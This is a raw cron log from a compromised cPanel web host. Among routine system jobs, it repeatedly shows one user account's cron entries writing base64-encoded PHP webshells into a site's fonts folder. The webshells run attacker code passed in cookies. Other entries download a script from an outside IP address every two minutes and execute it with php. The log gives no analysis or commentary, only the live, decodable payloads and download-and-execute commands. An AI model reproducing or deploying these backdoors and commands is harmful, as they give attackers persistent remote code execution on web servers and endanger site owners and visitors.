Sep 22 06:28:01 ip-184-168-122-23 CROND[3945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:28:01 ip-184-168-122-23 CROND[3949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:28:01 ip-184-168-122-23 CROND[3950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:28:01 ip-184-168-122-23 CROND[3951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:29:01 ip-184-168-122-23 CROND[4167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:29:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:29:01 ip-184-168-122-23 CROND[4169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:29:01 ip-184-168-122-23 CROND[4170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:30:01 ip-184-168-122-23 CROND[4449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:30:01 ip-184-168-122-23 CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:30:01 ip-184-168-122-23 CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:31:02 ip-184-168-122-23 CROND[4658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:31:02 ip-184-168-122-23 CROND[4659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:31:02 ip-184-168-122-23 CROND[4661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:31:02 ip-184-168-122-23 CROND[4660]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 06:31:02 ip-184-168-122-23 CROND[4664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:32:01 ip-184-168-122-23 CROND[4809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:32:01 ip-184-168-122-23 CROND[4810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:32:01 ip-184-168-122-23 CROND[4811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:32:01 ip-184-168-122-23 CROND[4812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:32:01 ip-184-168-122-23 CROND[4813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:33:01 ip-184-168-122-23 CROND[5001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:33:01 ip-184-168-122-23 CROND[5003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:33:01 ip-184-168-122-23 CROND[5002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:33:01 ip-184-168-122-23 CROND[5004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:34:01 ip-184-168-122-23 CROND[5266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:34:02 ip-184-168-122-23 CROND[5270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:34:02 ip-184-168-122-23 CROND[5268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:34:02 ip-184-168-122-23 CROND[5271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:34:02 ip-184-168-122-23 CROND[5269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:35:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:35:01 ip-184-168-122-23 CROND[5396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:35:01 ip-184-168-122-23 CROND[5394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:35:02 ip-184-168-122-23 CROND[5397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:35:02 ip-184-168-122-23 CROND[5395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:35:02 ip-184-168-122-23 CROND[5399]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 06:35:02 ip-184-168-122-23 CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 06:35:02 ip-184-168-122-23 CROND[5408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:36:01 ip-184-168-122-23 CROND[5678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:36:01 ip-184-168-122-23 CROND[5680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:36:01 ip-184-168-122-23 CROND[5683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:36:01 ip-184-168-122-23 CROND[5681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:36:01 ip-184-168-122-23 CROND[5682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:37:01 ip-184-168-122-23 CROND[5797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:37:01 ip-184-168-122-23 CROND[5796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:37:01 ip-184-168-122-23 CROND[5801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:37:01 ip-184-168-122-23 CROND[5800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:38:01 ip-184-168-122-23 CROND[5913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:38:01 ip-184-168-122-23 CROND[5915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:38:01 ip-184-168-122-23 CROND[5916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:38:01 ip-184-168-122-23 CROND[5917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:38:01 ip-184-168-122-23 CROND[5920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:39:01 ip-184-168-122-23 CROND[6114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:39:01 ip-184-168-122-23 CROND[6117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:39:01 ip-184-168-122-23 CROND[6120]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 06:39:01 ip-184-168-122-23 CROND[6122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:39:01 ip-184-168-122-23 CROND[6123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
